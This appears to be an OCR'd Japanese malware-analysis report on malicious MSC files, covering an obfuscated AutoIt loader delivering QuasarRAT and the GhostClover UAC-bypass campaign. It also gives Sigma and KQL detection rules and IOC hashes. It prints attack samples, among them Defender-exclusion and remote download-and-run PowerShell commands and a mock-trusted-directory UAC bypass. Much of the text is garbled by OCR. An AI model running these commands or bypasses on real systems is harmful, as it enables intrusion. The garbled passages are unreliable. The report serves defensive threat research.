bgUMAnalysis Seats Guy Du
XyIPilot Observed Underground Projects Fonts Pg Trademarks Lotus
rTAccuracy
caOChinese Role Laptops Saddam Smoking Gtk
S%Rb%t
%Swift%s%Measured%szE%Subaru%sps%sPlainssss j%Rb%%sSpeciessYDYhSvesP lains%t 1zZWCgYWce%sSpecies
%%0perating%scCWd%sAbilities%%sSpecies%%sSara%s=Ad%sSubaru%%sSpeciessssDash%spsAbilitiesst
VTDRNose
XIRYEnsemble Staying Shop Trust Same Sponsorship Super

een |V ll

61: EXE 7 71/LHA5 Ay FLIc BAT 7 71 )LOHE

BAT 77 1ILDERTICE>T EXETZ 70U H 5 POy FLILERBRD 7 71D 5. UTFDT 71
ILVEREE - BB EZfTWMER L £95
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Autolt ¥ V2 —F1) & —
VN1 LS Autolt O— R

NS0T 7oL EERE. AVNCIILENT Autolt A—REZRTLET, ZOI— K% Autolt-
Ripper[23] % UnAutolt[24] % ZFBWT, TAVNAINEHATLL T3 UTOLSICEFHILIN TV
i LTCO

- While 0x26e ~

Sreturncoveragepreliminaryroutes = 0x4221
Switch $returncoveragepreliminaryroutes
Case 0x421f

Ceiling(0x807)

ProgressOff()

ProgressOff()

Ceiling(0x1601)

Log(0x1f80)

Ceiling(0xe48)

IsDeclared(spears("70R93R51R81R83R82R88R86R73R69RBORS51", 0x6 + -2))

Floor(0x17f)

$returncoveragepreliminaryroutes = $returncoveragepreliminaryroutes + 0x44889 / 0x44889

Case 0x4220

ProgressOff()

Cos(0x916)

Log(0x1390)

MemGetStats()

Floor(0xc2)

IsDeclared(spears("110R107R103R122R107R120R39", 0xS + -3))

Chr(0x1163)

Cos(0x79f)

$returncoveragepreliminaryroutes = $Sreturncoveragepreliminaryroutes + 0xb6cb2 / 0xb6cb2

Case 0x4221

(Call(spears("75R116R124R77R107R122", Oxa + -4), spears("71R83R81R84R89R88R73R86R82R69R81R73", 0x7 + -3)) = spears(

"121R127", 0x5 + 0x0)) ? (Call(spears("91R109R114R71R112R115R119R105", 0x7 + -3), Call(spears(
"68R120R119R114R76R119R90R108R113R74R104R119R87R108R119R111R104", 0x5 + -2)))) H (Opt(spears(
"90R120R103R127R79R105R117R116R78R111R106R107", Oxa + -4), 0x252d2bs / 43X252d2b5))

ExitLoop

Case 0x4222

IsDeclared(spears("114R103R103R107R112R105R34", 0x3 + -1))
PixelGetColor(spears(

"86R117R121R122R107R120R121R51R89R122R103R122R107R125R111R106R107R51R78R107R103R114R122R110R127R51R73R117R11
6R121R123R114R122R103R116R105R127R51", 0x9 + -3), spears(
"86R117R121R122R107R120R121R51R89R122R103R122R107R125R111R106R107R51R78R107R103R114R122R110R127R51R73R117R11
6R121R123R114R122R103R116R105R127R51", 0x9 + -3))

-1))

Floor(0x1d6)
IsDeclared(spears("81R116R102R107R112R99R112R101R103R45R75R112R102R107R120R107R102R119R99R110R117R45", 0x3 +

Ceiling(0xc5c)
Floor(0Ox1el)
Floor(0x1dd) v

62: Autolt J—ROFIAV/NTILER

A DOEREEERL TV Y. TD Autolt I— RTIIUTOMIEBEAERINTUVWSE Z e hibh

hFL7T.
1. BIRBIROBUS
2. Avast £ TV F T AL RY T b T (avastui.exe) DEEEIR THNIL, JIBEZKRT
3. AVRM—ILETNTWVWBTYFIIRAY T Iz 7R L. BiONEBZHMIEE
4. CipherLock EWS A TSV bR TER 744 TS U b E1ER
5. kit

6
7
8.
9

o Autolt D1 X2 =) AZ—, AV/NTILENT Autolt I—FRDIE—
o FEEAERITIBLODRIV T LT 71ILEERL. AZ— Ty IADa—rhy bk

. schtasks.exe ICK D TRT P a—ILEZRXIEFER 5 TEBRLIRIUTRT 7))
. BRARAE

RegAsm.exe & Windows D> X7 L7 A )LA LD OE—L. 7Ot XiEH
Autolt J— FRIIESHIAEFNTLS QuaserRAT % RegAsm.exe ICI— R >J o3>
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- While Ox1e2
$dodgemarriottlitigationclosest = 0xffa3
= Switch $dodgemarriottlitigationclosest
= Case 0xffal
Log(0x23f4)
Exp(0x1b92)
Floor(0x162)
ProgressOff()
ProgressOff()
Exp(0xb57)
Sdodgemarriottlitigationclosest = $dodgemarriottlitigationclosest + 0xc9885 / 0xc9885
- Case 0xffa2
Floor(0x3b)
Cos(0x169c)
ProgressOff()
Log(0x1611)
sdodgemarriottlitigationclosest = $dodgemarriottlitigationclosest + 0x6847d / 0x6847d
= Case 0xffa3
sslipminiaturebecomestanding = DIICall('ntdll.dll', ‘dword’, 'NtResumeThread', 'handle’, sfirmwaresignupapproachmg, 'long™', 0x0)
ExitLoop
- Case 0xffa4
DirGetSize('vacancies@')
Chr(0x231b)
ObjGet('scanning-pike-spotlight-')
Ceiling(0x1e5)
Chr(0x1d69)
Exp(0xc31)
IsDeclared('Troy Methods')
MemGetStats()
sdodgemarriottlitigationclosest = $dodgemarriottlitigationclosest + Oxfe2d / Oxfe2d
EndSwitch
WENd
= While 0x363
$bucksbarnes = 0x8e18
= Switch $bucksbarnes
= Case 0x8el17

X 63: Autolt J—RIC&BA—KRa1>>xo> 3y

RegAsm.exe ICA— R4 > P02 3>y ENT QuaserRAT DFFIZE ST EIH. COoFO0ERELD
C{&CH—N—CBETBCHHERINF LT
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5.7 GhostClover

GhostClover (3 2024 £ 5 BEDS MSC 7 71 ILZBRALICKREF v o R—2 25| ZEBRAL TV E
T GhostClover |FMDZ DHEF v O R—2VEIFBED. UAC NI NADTEDIZFERALTUVET,
Fic. TOEDHOFEDMOKELx v > R—> D& 5% Taskpad ¥ GrimResource ZfE> 7= H D TlEH
<. UACME O Kamikaze ZRN—XICLTWE T, KEITIE. GhostClover IC& 3 MSC 7 71 ILZEA
LERBEOI7O—r. ZOFMICOVTRBNALE T,

571 HZEIO-—-

Distribution C&C

Server y Server p

Communicate

L , Execute

Unknown Kamikaze Malware

UAC Bypass

@

Kamikaze

64: GhostClover DIXE 7 O—

GhostClover DIREFCHIE DOC 7 7ML LNK 7 7 1 LR ERR R BEENEFEL LA MSC 7 7
TIWDRREEDIEHHD 9, GhostClover BMERT B MSC 7 7 1 JLI& Taskpad % GrimResource
CIZER D UACME @ Kamikaze ZRX—XICEEETNTUVET, B 65 DL SIC. ActiveX Control @D
CLSID dfXH D IC URL #iE 9 Z & T, "Link to Web Address"® & S IZHZBH S HTML ZFAAD
EHEIRET Y,

StringTable

GUID>{71E5B33E-1064-11D2-808F-0000F875A9CE }</GUID
Strings

String ID="1" Refs="1">Favorites</String

String ID="2" Refs="2">Shockwave Flash Object</String

String ID="3" Refs="1">https://cryptolabstudio.com/sploit.htm</String
String ID="4" Refs="2">Console Root</String
Strings

StringTable

65: MSC 7 7 JL® StringTable
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CHICEK>THEAAETFNS HTML T—4RIEE 66 DK SICH>TED. Kamikaze ¥ [FE¥KIC Exe-
cuteShellCommand = FEB LTI Y REERTLTVLWET,

html

head
title>Game Over</title
meta charset="UTF-8"

head

body

script
external.ExecuteShellCommand("powershell.exe", "", "-Command & {taskkill /f /im mmc.exe}", "Minimized");
external.ExecuteShellCommand("powershell.exe", -Command & {Add-MpPreference -ExclusionExtension '.exe'}", "Minimized");
external.ExecuteShellCommand("c:\\windows\\system32\\forfiles.exe", "", "/p c:\\windows\\system32 /m notepad.exe /c \\\\185.213.208.
245\\bypass\\runOnce.bat", "Minimized");

66: MSC 7 7 LHF&HAT HTML 7—%

ZDE. W< DHD PowerShell I—RZNMLTIILT = 7 DERITRAEUL. EITAT—RADEEZ
TVWET, ZORTHRICEKRRVUIEZ VS DB L E T,

FIE 67 DL SIZ. PowerShell O— R %> T localhost:8080 THEBERZIT2O— AT —NZIEE
LET. ThidkiRd 3 UAC Bypass &IC MSC 7 7 1 ILHAERAAL HTML 7 7 A L Z XD AT 78
ICERSNE T,

$port = 8080
$htmlLoaderUrl = "http://localhost:$port”

$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add("http://localhost:$port/")

$listener.Start()

67: O—HILY—NEHEE

JRIC. Mocking Trusted Directory £ W5 77 Zw o %Z#H L T UAC Bypass Zil# £ 3, K
68 DESICAR—ZAZEBLCTA LI MIZER TR T, BETEZTALI ML TEREEES
FETT. TDKSICSystem32 T LI MUZER L. €DEETICen-US T Lo M) ZERLTWV
£9, IHIC. ENEDT LT U LEIC WmiMgmt.msc Z1ER L TWE 9, System32 BB FICED N
e WmiMgmt.msc (& Windows (77 #JL h THEEL TWBIERD MSC 7 7 1ILTIHN en-US T«
Lo b UETIZED T WmiMgmt.msc (& GhostClover R LEM 7 7 1L TY,
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$originalConsole = "PD94bWwgdmVyc21lv 8+DQ08TUIDXON\ Wx1IENVbnNVbGV LJALIIFByb2: 2| 3IiPgeKICA8Q29uc29sZ[Redacted]”
$hackedConsole = "PD94bWwgdmVyc2lvbje PEINQ19Db252b Db252b2x1VmVyc BQcmOncmFt PiQ) Tj4ANCiAgPENVbnNvbGVGalx [Redacted]"

emType Directory
" -ItemType Directory
ert]::FromBase64String($originalConsole)

$hackedConsole)
iteAllBytes(" i decodedBytesOriginal)
ystem.I0. ::WriteAllBytes(" s sc", $decodedBytesFakes)
(Get-Content -Path ' \C:\Win -replace '{htmlLoaderUrl}', $htmlLoaderUrl | Set-Content -Path '\\?\C:\Windows
\Sys EPAN US\WmiMgmt.msc*

Start-Process -FilePath 'C:\Windows \System32\WmiMgmt.msc'

68: Mocking Trusted Directory

BT L7ce B D Windows REBICIE—EBD MSCBET 7 ILZRTA FJRMELTERLTE
D, BEIMNGEREBZITSLSICRESTNTVE T, WmiMgmt.msc HZNICEE L TED. &4
(FIEDNRICFELTED. HOAKXOJERTNTVE L) =iy THEREEIMTHhNhE
To THIC. WmiMgmt.msc IZRTEICO—AIILEBRE 7 7ML ZEBETEILIICRESINTED.
A—AIINEERRT 7D EETIBEEFZEDOT7AIAILAL Y ML, FELABWVEEIF en-US
DITF7ANANNRZALIETBLSICH>TVET,

N5 DEENIE Mocking Trusted Directory IC3 L THESETH D« WMEEDEM L 7o System32 7«
L2 FUBT®D WmiMgmt.msc 3179 % &. Mocking Trusted Directory @ en-US 7« L2 N UEET
@D WmiMgmt.msc D HERFM L /- RRETEITEINEF T, T5LTUAC Bypass ZEIRTE XY,

Z5 LTEITEINE WmiMgmt.msc & Kamikaze #AR— X ICLTcREEXAR>THED. K69 DK SIC
O—ALY—NIIT7 7Rz lHFT,

StringTable
GUID>{71E5B33E-1064-11D2-808F-0000F875A9CE }</GUID
Strings
String ID= Refs="1">Favorites</String
String ID= Refs="2">Shockwave Flash Object</String
String ID= Refs="1">http://localhost:8080</String
"2">Console Root</String

String ID= Refs=
Strings
StringTable

69: {7ENn3 MSC 771l

70 D& 5% PowerShell I—RIC&>T. O—AILH—NIEHTML F—2%Z L XKV LTRL
F9,. Kamikaze E[E#kIC ExecuteShellCommand B8#z 5 L. Windows Defender DFRANERE Z1T
e ABH SRz TEATO—-RLTEITLTVEY, RIEMICC MMCOTOERZHT L.
FRLEZ7AILPT LY NUZBIBRL TRBZELEX T,
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$Command = "powershell.exe"

$Arg = "-NoProfile -ExecutionPolicy Bypass -Command ~& { $url = 'https://github.com/Skori ig/raw/main/burner
Directory -Path ([System.IO.Path] : etTempPath() + [System.Guid] lewGuid().ToString( $output = Join-Path
Invoke-WebRequest -Uri “$url -OutFile ~$output;Start-Process -FilePath ~$output;}" a

while ($listener.IsListening) {
$context = $listener.GetContext()
$response = $context.Response
$html =
@
<html>
<head>
<title>Game Over
<meta charset="UTF-8">
</head>
<body>
<script>
external.ExecuteShellCommand (" pow e", "", "-Command & {Add-MpPreference -ExclusionExtension '.exe'}"

ternal.E: uteShellCommand("powershell.ex """, "-Command & {Add-MpPreference -ExclusionExtension '.pln'}",

rnal.ExecuteShellCommand("$Command" "$Arg", "Minimized");
external.ExecuteShellCommand("powershell. ", "", "-Command & {taskkill /f /im mmc.exe}", "Minim
</script>
</bod:
html>
'@

$buffer = [System.Text.Encoding]::UTF8.GetBytes($html)
$response.ContentLength64 = $buffer.Length
$response.OutputStream.Write($buffer, @, $buffer.Length)

70: R{TEN3 MSC 77 1)L
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nimized");
nimized");

exe'; $tempFolder = New-Item -ItemType
$tempFolder 'burner.ex
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6 UY—F
MSC 7 7 A ILICIE. fEREDREICIRIIDUTOT—2HEFNTVED,

74 AYDERT —23 : Explorer.exe ECRRINZ 7 AV DERT —&
e ConsoleFilelD : 74— R TMSC 771 EZERT B CICHITEINZ1I=—27% UUID

6.1 F7AIAYOEBKRT—X

Explorer.exe TRRENS MSC 777 IILDT7A I VIE. BRICHRETETF 9, F2ETHIIRNE
EDH. T AYOERT —EZANDBIED VisualAttributes T RICEEEH TN TV E T, BRT—XIE
base64 > — R T N7FR T\ BinaryStorage R 7 RICHEMETNTVE T, IFIFLTORET, 71
aAViE"Small"y "Large"® 2 BEHERINTWVET, T, BRT—RIFHFHRBAYHZDDOVEY
Ry 7R TT. UTFOI—-REZAVTEBROBERT —2ZWMOEL. BRTETEY,

import base64
import io

from PIL import Image

# encoded_data : <BinaryStorage>M™ S E D W L 7
Base64T Y 1— FENLEKRT — 4

binary_data = base64.b64decode (encoded_data)

with Image.open(io.BytesIO(binary_data[28:])) as img:

print ("Format:", img.format)
print ("Size:", img.size)
img.show ()

V—2X—F 2: MSC 7 7 A LRNOEKRT —R2%Z a1t d 5 Python 1— R

WBERIELFNIIEHDE T, PDF® Word EO 71 IVZHAEL. MSC 771l ZRELTVLE
Yo TR ALT7A AV ZHRIOBREDHNIL. ENSOREKIZFACHBEICK > THER S NI\
JE—TElEncamer’ B D 7,

6.2 ConsoleFilelD

ConsoleFileld (&, MSC 7 71NN Z T4 HF—RTHERLIHBRIC. SVALICHEENS ID TY,.
UUID FER TS VA LICERENETH. 128EY bD ID THE 7. FEOERIFES. £ LIS
—RICNETNB3 IDECEZASGNE T, CDd. KEENMSC 7 7L E2EHL, EfTOa<T> R
DHEEELTERT 355, HehH'FE C&RiE%Z ConsoleFileld THETE X7,

6.3 VIRRIVY

hE L7="Small" "Large"D7 A AV 2BDNY S 2EZERB LT BEICAL7ZAI>0O7—4&
Z—RICRIRTZENAETT, £ ALNY 2 BRLTE2 IS RRELTHBTEHABET
o 2FDT7A 2D SHA2S6 Ny >ra (AR 74OV N\y>akd3) L. ConsoleFilelD IC& D0
SRAAEERL. JF7ICRKBLIZDDOHK 71 T,
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Node labels
label attribute

4748666689 SBtaPANPI0SBRATIADEEB6RA5EBLOTAS

Node colors
group attribute as a category:
Test
Mustang Panda
Kimsuky
\ W GhostClover
‘ H | \ Warp
W W oxost
| | Sticky Werewolf
|| W APTA1
D
W Bitter
W sQ
' Unknown
Patchwork

Node sizes
size attribute (scaled to 3-15 px)

e6c661d6981c0fab6c011c29536e57d21545fd11205ec  Edge colors

= category attribute as a category:

m%ﬁgggé W SAME_CONSOLE_FILE_ID
SAME_IMG_HASH_LARGE

SAME_IMG_HASH_SMALL
74746b2fe01abc63789412k o€

71: V5 X227

CORTREBELEESARISRRISGEE TR L. ABEOREOREY. BEEDOT7 NJEa—>3
VISR TR ENTEE T, UTIS, BIKEVWI S XA EB N BEE VW OMBNLET,

6.3.1 7 IOY/\vZa: a0d21b8l... DIEK

Node colors
‘ 856ab3c0c79b25eb1f0acOfbb8bd243f6c67d07a7ed6a3849fceb318b5bad7b7 group attribute as a category:
Test
. e4afe0365e18a9%ec]c291fb941ab1d068d461f0e767f80683a3f335d267067ca Mustang Panda
Kimsuky
M GhostClover
‘ a68dbacb812432afd5ce2d0260594d7bf99175dba27¢1d28e3b45489b01002¢c5 = :a;pt
X0s
Sticky Werewolf
W APT41
D
W Bitter
W sQ
M Unknown
Patchwork

a4cbaa2bcb1068e4dc64ef084587e712645ea165b153404cc1d8eeb758f9ecaf

‘ fbe712659d5b90a666df5501bf73ff40d8062031f68d96a15f1c8002d9b2f91a

72: 7AYN\vIa : a0d21b81... DT T XA

Z DU S AZRICIE. GhostClover ICIREINZ T IL—TFDHIC. TRXAMRIBEAS5NBREHLEFEEL
9, SkorikJR IZBELD GitHub 01— h5HBLTVWET, £ TOIZFXZIE K73 1C
RILSBRBALHBNAGEEDO"'R"OT7AIAVEFEET,

73: FENB Ty

CDUVZRAZDS5, TR MMEDHBELD https[:]//google[Jcom ZIFE £ 9, REHEGH 1 b
ERRTZL. CORBEALERBENMRBLTVWILESNZ2BEEER L £ L, UTO@ERIC
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BIENH 2% 2024-5-27~28 IC/RFEL TWE T,

e https[:]//shortKamikaze[.]Jat/5FbBd
o http[:]//185[.]213.208.245 /sploit.htm

MEDZ DS, COTRMRKIIRAFARBZLEDOBENT, HBEICLDFEESNIDDEEZ SN
9,

6.3.2 F7AOY/\va: 0c4ad784... DIEIK

Node colors
group attribute as a category:
Test
Mustang Panda
. 1¢5617c14f038b891287ea217¢89b545256¢89e3f174bad48c25bde294271¢6eb Kimsuky
W GhostClover
Warp
e7b257c656877e65a59f0f7fd8d811e37d9c4324029073e6394a79a280e73a5b 0xbst
Sticky Werewolf
W APT41
D
W Bitter
W sQ
W Unknown
Patchwork

T4: 7A YNy 1 : 0c4ad784... DT T RAH

CDYUZRZIF. SAP Concur EREMNMFT=T7ra> (B75) ZR5% 9.

75: SAP Concur  REMNFFT7raY

DY FRARH GhostClover ICIFIEINZ2BEEIFEET., . TXA MREOBELIF
https[:]//sample[.]site/ TY o BEHEH 1 FEHRET B . CORFERLREED Python B BbH
NBEINT T T7ZE2HBR/LTVET, ERLEERZR1ICRLET,
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R1: HEIRWEICLBIILT T T7TREOREEK

WA HIE (UTC)

el

7 7 4 LB

axXyh

2024-10-07 22:21 | UA msc ratte.ngrok|.]Japp 127 7t X

2024-10-20 22:41 | UA dll 6nz/virustotal-vm-blacklist {27 27 & X
2024-11-07 00:19 | UA psl ratte.ngrok|.]app 127 7t X

2024-11-09 23:00 | UA | psl localhost 2 ¥ DXFEHRZ2DTTF A M RHNS
2024-11-09 22:58 | UA msc sample|.|site IC7 7 X T 5D TT A RLHNS
2025-01-03 21:07 | UA Ink

2025-01-03 21:06 | UA Ink

CDOE SIS 2FNICKRHEEPREEZ 1T S REDN LY. RBEICEL ST X MRz BhE 31RE4N
BOET, T5IC. CORBEIFLEBNIC Python TEHMNLIILT I T7EZHWHOTVWBELSICRTE

IFonxd,
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7 BEFE
MSC 77 1 L2 BA L L READPEFEE. A - D - HEHOBSNSBALET. 55, ]

&0 - DHrIC DLW TIE. Endpoint Detection & Response (EDR) #&@X° Microsoft 29 % Sysmon
BETEHA - BRNAIREE BRI IV RRA Y FOEFHER—IITBNLFET.

7.1 &RE

MSC 771 ILZEBALIHEZBATRLODIL—ILEZEIY RRAY COESHT EICHITTBNL
£9,

7.1.1 OtXRiEH
MSC 771 L ZEBRALHREBORERIZ. EXAMICA—IILDORAMARHISDAT>O—RTY, &

SICA—HY—FIN5 77 ILZBETHI. YLV 7RRICEDFET, £ T A—H—H1EMH
MSC 771 ILZRTT2LETOTOLRBLEEMSC T 7MILONRICEETZ LTINS DES
ZRATEE T, UTOR 76 TIHAANB L IR F vk 7 #—< v b® Sigma ZFAL TIL—IL%
ERLTVWET, BB COIL—ILTEEMSC 77MIILOETZBANTETFEF TN 21— —HERL
TRO>O—RLEERMLE MSC 77 MIILORITZEEML TLESAIREEDAHZ CCITFRLTLE
TW BHCFIALTWS MSC 7 71 ILRERHNIE. TNESDT 7AILABREZBRNIL—ILE LTE
MIBezHELET,

title: Suspicious_MSC_File_Execution

description: Detects msc file execution from suspicious folder.

author: NTT Security Holdings

date: 2025/01/10

logsource:

‘ category: process_creation

product: windows
detection:

selectionl:
| ParentImage |endswith: ':\Windows\explorer.exe'

selection2:
Image|endswith: ':\Windows\System32\mmc.exe'
CommandLine|contains: '.msc'
selection3_1:
| CommandLine|contains: '\Desktop\'
selection3_2:
| CommandLine|contains: '\Downloads\'
selection3_3:
| CommandLine|contains: '\AppData\Local\Microsoft\Windows\INetCache\'
condition: selectionl and selection2 and (selection3_1 or selection3_2 or selection3_3)

76: B MSC 7 71 IILOE[TERH T BIL—IL

712 A4 X—>O—F

3 EF TN L7z GrimResource Tld. apds.dll £S5 Microsoft 3124 DLL IC1F7E 9 D551 %
MELEYT, 207D, COMFIMHEEERYTS MSC 771 )LERC . mmc.exe DFCEIRFICHEZ DLL
771 EO0— R ITI3EFHERTETET, BF mmcexe [FEEZDLL 771 )LEO0—RTBI IR
WD T, COEHEREL 7L FF GrimResource ZFA L72E M MSC 7 7 1 LA RITINIAEEM
HEWEEREFT. UTDK 77 IZ Sigma TR L72/L—ILZEBE#H L THED £T,
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title: MSC_GrimResource
description: Detects execution of GrimResource msc file.
author: NTT Security Holdings
date: 2025/01/10
logsource:
category: image_load
product: windows
detection:
selectionl:
| Image|endswith: ':\Windows\System32\mmc.exe'
selection2:
| ImagelLoaded |endswith: ':\Windows\System32\apds.dl1l'
condition: selectionl and selection2

1
2
3
4
]
6
7
8
9

.
N R ®

=
w

77: GrimResource #F|BAL-EM MSC 7 71 ILORITEZHEMT3IL—IL

7.1.3 vy bT—UFF

3 EZTBN L= Kamikaze Tl&. GrimResource & (i8> THERD Web H—/N—%FFT 3T
EED JavaScript A— RERTLTWVET, COEF. mmcexe D FTOEZHDSNEE web H—/N—|C
DITZAMDPXEINE T, €T COEBZUTDOIL—ILICTRIAAEET . Sigma TOEERRH
HgfZo>fcfcd. UTDIL—ILIE Kusto VTV ZFALTVWET, B4H. RMEA MSC 771 ILDEIT
ICKDHAERD Web H—N—ADT7 I X%z &M L TL %S False Positive B4 L TL £ S aleEMD %
BLITFELTLETV, BENEERFALTVWAERY 1 M THEIEHESIE. ENSZBRAIL—ILL
LTEMTZCHEMHERELET, SOC TIFEEICWS DD DIERY 1 FZERRAL THBELTWES,

eviceNetworkEvents

where InitiatingProcessParentFileName == “explorer.exe"

where InitiatingProcessFileName == "mmc.exe”

ere RemoteUrl startswith "htip”

ere RemoteUrl !has "visualsvn.com™ and RemoteUrl !'has “"windowsupdate.com” and RemoteUrl !has “digicert.com”

[ T R

78: kamikaze ZFIBAL7=EYE MSC 7 71 ILOERT=RHT3IL—)L

7.2 Oth

EDREZFNIY RRA Y FATE DT ZBICIE. BERMICKRM L7 5 — o 7Ot XEHENS
ZOHRTOELRPFIOLRZEDS CE THEDERVPRENICETEINZ IV T, RIEHAEDD
NYRBERPEBETEX T, MSC 7717 ILZ2BRALEKBLAKOFETHOHTETET,

ULTOR 79 1. EEMSC 77 ILzRTLAECEOOERAY ) —TT,

@ NTT security Holdings 54




explorer.exe

mmc.exe "C:¥Users¥test¥Downloads¥malicious.msc"”

¥

¥

wscript.exe "C:¥Users¥Public¥Documents¥qfmco.vbs"

services.exe

msiexec.exe /V

C:¥Users¥test¥AppData¥Local¥kjnBsLsJo¥2024Contact.exe

79: BEMSC 772X TLIceE0TAOERY ) —

A—H—HRE o >O—RLEMSC 771 IIL%ZR< Z T explorer.exe 5 mmc.exe BESITN TV
F9, COmmcexe DAYV RTAVZRZ3EBEMSC 77 M IILERNRZHERTETET, D&,
Taskpad HEEZF > TEMR vbs 771 ILERITLTUVE Y (mmc.exe = wscript.exe)

COESICTOCLROBEFERPIAT VR SAVICEB T TEM MSC 7 7 1 ILOEE Z FESR
TEET, BB, COEFDLSIZEM vbs 7 71 )LIC K 2T msiexec.exe BNIFUH I, REMICZT
LD £ 7H 2024Contact.exe EWS FTOERICTRITTNTWVBIFEIE. 7O XORFEFRHIEDS
CCHHBZDT. DROBRICIFTERCTET L,

7.3 BA1H

Windows @ C:\Windows\DEETIZIE% < D Microsoft #H1Z# D MSC 7 7 LAEEL THEH. BE
MICFIASINTVWE T, £ AntiVirus HRPEEEEBEABEDOY - FN—FTsD7OJ 5 LTH
Z2<OMSC 7 7MIBRATNTVEZ LA S, CNERMELRMSC 771 ILEEMR MSC 77 1)L
ZXBIL T, BELTERTERELETZ I CIZRAETT, SOC Tld. EEA MSC 7 7 1 ILIEX—ILDFR
7 7L PALNSL T O—RSETA—HF—ICHEIEZE 1 TORBEEAL TV 720, fhd
RILYD L TREMNKREERICERN B EF 1) T+ /LB T,

BEARNGEF ) 700K

e Windows Update ZFA L TRHFOEXF 2V T BH O S LEERT S

e X—LOFHAT77AINRATYAO—RENZ T 7 ILICRBRDDOLH UL AV GFHITHLE
FhH.msc LB 2> TVBRIBEICIIETE)

o FHROV I MIzT7ERHTMNSATVO—RTS
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o FNEMBECEESZRA - B T37-OICIPSUTMEDRZEDtEX a2 T NERREEATS
o AntiVirus D ERT 71 IILERHICT S
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8 HDHDIC

NTTEFalF+ - Sy N\UBHREHMD SOC TlE. 1Ty MREDRIE. 12> T > FRER
DRERDI-DDIILT T TP U Y —FEBZITo>TVETD,

AR TIEEMEMSC 771 ILOEEN S, EEFEAOFHCE. XBIIL—TLF v > R—> MSC
T7AINDART—RZ2AW) T —F BLUBBEFEZRFLTEE L. UL BEMSCT 7
TILIEDWTEFHNBGRREZIER L. WRETS—BICHRZIEEITVET,

EMAMSC 770 ZFoHBIISERDIDMBETICEZIOSNE T, SOC TIIFISTHIEMR
MSC 7 71 IILIZDWTUH—FZHKIFT TV DHDTY,

FERICIZ IOC ZREH L THED X T DT, TEAVWELEITNIEEVWTT,
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9 ALAKR—KFIDOWVWT

LR— MERRE

NTT £Fal7r - v N\UKRatt

MENE. Higfs, VEXE. NGRS, BRMNW. S8R, THES
B

2025 £ 4 B 1 H (verl.0) : ¥IhRLF
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18 A 1oCs (SHA256)

100£f0d1leda68f9aecdeb4bebc6e8dccdf5£bb561b908705c9d4b490bc67cc688
3a5924ccal3467388d2f5ea74f3b3e2437a229beb780d79019c57724af4394649
942336£728851b30a31e1bbe1a7f03c587184e62£317477bcbd688b748ed9145
5b18£8b379cb32945ef7722b7ec175£5d24e7c468f6£5d593c51610£6b87£21£
51416200643fca7c811c640d27314303306b3£555a549cf8bbb729489e681cb3
823c7d02275cd226d7746bad12155¢c8933499709£1000094683a3e8£90c4d209
cb4a280£54c56d250c98124a88e80c46ccdB82cb77££0951£150£01e02791ca30
a9732bbb909e60£8082£981062116a2e9035b1bcdb5b70a6c73fbae79d989dcel
£0c994£27d6ddb5ed86aa58e221f£90d83213955beb1f12fde58edeb5f18d446
4162e5e966a0b638bef9c10£395£37143158£6304fe8e0564791216f2fclbbae
b3b2d915£47aa631cc4900ec56£9b833e84d20e850d478£42f78ad80eb362b8fc
c48cfb91££c98149efeded7a206c8d5e1d0235118ec99483e60£f1b8962b9e554
£8fcf54926f1ffcf7362d9f0cfdf1£0£978358c570a6541e8d9490cbbaa29be0
8c53f13c6ead95195c9ac1al32¢c11b0c4abbf52969207d6cd8644ab378b4447af
d11b41aee220b451393598677d7e62b4f£8fb1989bcdeadalda25a6d207cbaal39
689e4bc76400cc9b0ce627b578db0b3217cd7dcc34f4bfd44314dcccct3625fe
£555£39b7a32994ab52869fc49b03£87c426db8£18800c1497000d76£b0e2552
c279c8b8cdc09170e3a93b6942e77890694071324b23d7ea0d9927a905476a53
84£de99fe198fbdd5159a93588cc81£3742ef7eb1c5928cecf06c13564de4921
4392908eb7b800abed09a0£59£8a96509795432efdc1d7£8df0b3478cae6c953
2594ceaB884ddd37e87c5e54d237380a09132bc3c8fd5550c6£072b74ab2ec14b
a6dcda8f7715182f£5b802b7d34562e72080af1££0270098fc74ee4d157b2057
505aa3372a138b7565014d018367c5bb998b2680827£4beaf809863867£62eb0
939£509a8edc6b9dal103fbcebe85630671ed591dd9e40243da37559e10dcfd80
5ad093aa3eaf2bb76003£8£f2f9de9b1368640aa320fa8d77df2c773£75186a71
393287d6£657632736a596b88c22f632a791a9420c78e0d7781076£5861ddf69
69dede60a2c30900506029¢16732d0c4ad0c21b61debb492759f7366eac48ada
5£c37b8537e4d66dc569a767a397b87c7cd7df07a122d225b£0266d7c997ed15
1c5617c14£038b891287€a217c89b545256c89e3£174bad8c25bde294271cb6eb
49abaa2ba33af3ebde62af1979ed7a4429866£4£708e0d8e9cfffcfar7a279604
£d5dd3333£34672a4£2a79679d7b05652b902c8501e92129963245bab9db6£84
90d5af749f3a1a1a9db743ed4df174d6£c015598f47b1261ac9795£2ac30457£
€93914£2dc6a05251bab103f1eb576£fb17dd0b644d2087b9b35e3df3201abfbe
342c285efb8798fcba80d695cafc9aele097cecc72e01£25d£85e4210e9fd638
9££d9422¢c22195d0bce91577154d380c696bd02e846dad579ca056eeca2d8c66
£90627948bd44ebf67011£d6£0e55£8da6816c18dba7f535aad316bab2c8a3b4
d7db68d1a679d6afd4ef90£8747£698ef£96£385e36b3a91c543£5438£6c380b
£d65c7a42458d05219cd6dad15b8ba28712a2d52e2f10a2060341aa03aedbab8
397afb74746b2fe01abc63789412b38f44ceb234a278a04b85b2bb5b4eb4cc8c
ae6d67c£8798174d1e3a317de83168b07e4254c2831921b14d4b65£7234db350
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c1f27bed733c5bcf76d2e37e1£905d6c4eTabaeb0ea8975fca2d300c19cbe84f
47486ec6627fced4663d52c408£85f6a74cb9f256b4ef111c66e2bc990b271£9
7d8894520e26755e0£191078df140898882837c90d338174487c1e2d17a72756
e0b4e3f7d35c182ca48c49c635138ab343c4415dae32a086bal9cOecaf41936e
57e9b7d1c18684a4e8b3688c454e832833e063019ed808£d69186c4e20df930a
496573678832d5aca98b2404aacdd1ff7df8829025bf6£75c0e25546£67906ab
5042£64c0cbb1325964279106£0afa330fb2810416043784f5b4deeef0e93aad
cea22277e0d7fe38a3755bdb8baa9fe203bd54ad4d79c7068116£15a50711b09
587ed965babcc10cb1112cfeeb67a5a396673eba993e80e25d57f£16e41594b1
77373a220e74824d641faac62c6b82835935£94254bd663b060bb3885746aa6d
€ael87a91£97838dbb327b684d6a954beee49£522a829a1b51c1621218039040
a02aa7a3b81be301c6636bd1b0133ab1db2829babb584dcb16a532de59371b34
00619a5312d6957248bac777c44c0e9dd871950c6785830695c51184217a1437
